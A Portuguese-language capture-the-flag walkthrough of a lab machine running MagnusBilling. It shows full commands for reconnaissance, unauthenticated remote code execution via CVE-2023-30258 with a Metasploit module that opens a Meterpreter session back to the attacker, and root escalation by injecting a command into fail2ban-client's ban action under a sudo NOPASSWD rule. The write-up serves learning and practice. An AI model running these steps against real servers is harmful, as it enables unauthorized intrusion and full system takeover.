
Um guia detalhado de exploração do Billing room usando CVE-2023-30258 e escalando privilégios via má configuração do fail2ban
Escrito por: Aditya Bhatt | Colaborador Open Source
Neste passo a passo, vamos a fundo na Sala Billing, mostrando uma instância vulnerável do MagnusBilling, uma suculenta RCE sem autenticação (CVE-2023-30258) e uma configuração incorreta do sudo no fail2ban que grita “root me”.
Esta sala combina lindamente exploração automatizada com escalonamento criativo de privilégios, nos dando um gostinho prático de falhas do mundo real escondidas em software de faturamento VoIP. Iremos do Reconhecimento Inicial até o Shell Root com PoC completo, comentários e 🗿 vibes.
Após implantar a máquina, a primeira coisa que te atinge como um firewall mal configurado:
http://<machine_IP>/mbilling/
Esta é a página de login do MagnusBilling. Isso por si só já dispara alarmes — você sabe que vai ter uma jogada suculenta de CVE.
Começamos com a combinação definitiva de reconhecimento:
nmap -A -sV -p- 10.10.115.173
🧠 Descobertas:
/mbilling/Em seguida, vamos de brute force total com Gobuster:
gobuster dir -u http://10.10.115.173/mbilling -t 50 -w /usr/share/dirbuster/wordlists/directory-list-2.3-medium.txt -x .php,.html,.txt
gobuster dir -u http://10.10.115.173/ -t 50 -w /usr/share/dirbuster/wordlists/directory-list-2.3-medium.txt -x .php,.html,.txt
🧠 Descobertas:
Então verificamos o robots.txt do site em busca de algo interessante:
User-agent: *
Disallow: /mbilling/
Hmm… tentar esconder só nos faz querer mais 😈
Um teste rápido com netcat confirma que ele responde com:
Response: Error
Message: Missing action in request
O que confirma ainda mais: o backend é MagnusBilling, e a porta está ligada ao Asterisk Call Manager. Hora de invocar nossas artes das trevas 🧙
Exploit: Execução Remota de Código sem Autenticação no MagnusBilling Módulo:
exploit/linux/http/magnusbilling_unauth_rce_cve_2023_30258
Inicie o Metasploit:
msfconsole
use exploit/linux/http/magnusbilling_unauth_rce_cve_2023_30258
Em seguida, verifique os requisitos:
show options
Então defina o seguinte:
set RHOSTS 10.10.115.173
set LHOST 10.17.88.138
run
Alguns segundos depois… Boom. Conseguimos uma sessão Meterpreter!
shell
whoami ➤ asterisk
uname -a ➤ Linux Debian 6.1 x86_64
Tentamos gerar um shell TTY:
python3 -c 'import pty; pty.spawn("/bin/bash")'
Começamos subindo nos diretórios com:
cd ..
cd ..
Até encontrarmos:
cd /home/magnus
cat user.txt
Legal! Mas ainda não terminamos. Precisamos de root, e Magnus está sussurrando segredos para nós.
Vamos verificar o que podemos executar com sudo:
sudo -l
Resultado:
(ALL) NOPASSWD: /usr/bin/fail2ban-client
Agora isso é 🔥. Podemos abusar do fail2ban-client para executar comandos como root usando ações de banimento.
Vamos reiniciar o fail2ban:
sudo /usr/bin/fail2ban-client restart
Em seguida, injete o comando para roubar a flag de root:
sudo /usr/bin/fail2ban-client set sshd action iptables-multiport actionban "/bin/bash -c 'cat /root/root.txt > /tmp/root.txt && chmod 777 /tmp/root.txt'"
Dispere o banimento (e assim o comando):
sudo /usr/bin/fail2ban-client set sshd banip 127.0.0.1
Então:
cat /tmp/root.txt
Rooteado. Como. Um. Chefe. 🗿🔥
robots.txt e investigue portas estranhas.fail2ban-client) são igualmente perigosos.Esta máquina foi um belo equilíbrio entre exploração automatizada e criatividade manual pós-exploração. De RCE no MagnusBilling ao root via fail2ban, ela acerta todas as notas certas na playlist de um pentester 🎧🎯
Seja você um iniciante querendo evoluir ou um guerreiro experiente coletando flags — esta é uma obrigação de pwn.
Até a próxima, Continue Perigoso. Continue Curioso. Continue Majestoso. 🗿
| 🔎 Estágio | 💥 Ação/Ferramenta Usada |
|---|
| Acesso Inicial | Descoberto portal /mbilling e porta 5038 usando Nmap + Gobuster |
| Descoberta de Reconhecimento | MagnusBilling CMS + Asterisk Call Manager |
| Exploração | CVE-2023-30258 via Metasploit → shell Meterpreter |
| Enumeração | Localizado /home/magnus/user.txt |
| Escalonamento de Privilégios | Abusado fail2ban-client sudo NOPASSWD → RCE como root |
| Flag de Root | Recuperado /root/root.txt via injeção de payload no fail2ban |